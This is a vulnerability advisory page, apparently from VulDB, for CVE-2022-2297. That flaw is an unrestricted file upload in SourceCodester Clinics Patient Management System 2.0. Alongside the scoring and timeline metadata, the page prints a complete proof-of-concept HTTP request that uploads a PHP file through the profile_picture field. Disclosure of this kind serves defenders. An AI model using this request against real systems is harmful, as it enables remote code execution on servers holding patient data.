SourceCodester Clinics Patient Management System 2.0 update_user.php profile_picture unrestricted upload

CVSS Meta Temp Score
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CTI Interest Score
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6.9$0-$5k0.00

A vulnerability, which was classified as critical, was found in SourceCodester Clinics Patient Management System 2.0 (Hospitality Software). Affected is an unknown part of the file /pms/update_user.php?user_id=1. The manipulation of the argument profile_picture with the input value <?php phpinfo();?> leads to a unrestricted upload vulnerability. CWE is classifying the issue as CWE-434. The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was presented 07/04/2022. The advisory is available at github.com. This vulnerability is traded as CVE-2022-2297. Technical details and a public exploit are known. This vulnerability is assigned to T1608.002 by the MITRE ATT&CK project.

The exploit is shared for download at github.com. It is declared as proof-of-concept. The code used by the exploit is:

POST /pms/update_user.php?user_id=1 HTTP/1.1
Host: localhost
Content-Length: 828
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pms/update_user.php?user_id=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=kbnmikgfhdo4qe7crgidipoqc9
Connection: close

------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="hidden_id"

1
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="display_name"

Administrator
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="password"


------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="profile_picture"; filename="rce.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="save_user"


------WebKitFormBoundaryHTbuuF5mdaA9K4Fw--

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

See VDB-235064 for similar entry.

Productinfo

Type

Vendor

Name

Version

License

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 7.1
VulDB Meta Temp Score: 6.9

VulDB Base Score: 6.3
VulDB Temp Score: 5.7
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 8.8
NVD Vector: 🔍

CNA Base Score: 6.3
CNA Vector (VulDB): 🔍

CVSSv2info

AVACAuCIA
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VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Unrestricted upload
CWE: CWE-434 / CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍

Timelineinfo

07/04/2022 🔍
07/04/2022 +0 days 🔍
07/04/2022 +0 days 🔍
07/18/2022 +14 days 🔍

Sourcesinfo

Advisory: github.com
Status: Not defined

CVE: CVE-2022-2297 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 07/04/2022 07:12 AM
Updated: 07/18/2022 02:58 PM
Changes: 07/04/2022 07:12 AM (41), 07/04/2022 07:13 AM (4), 07/18/2022 02:55 PM (2), 07/18/2022 02:58 PM (28)
Complete: 🔍
Submitter: cyberthoth
Cache ID: 100:4B2:40

Submitinfo

Accepted

  • Submit #40500: Clinic's Patient Management System 2.0 Unrestricted file upload (RCE) (by cyberthoth)

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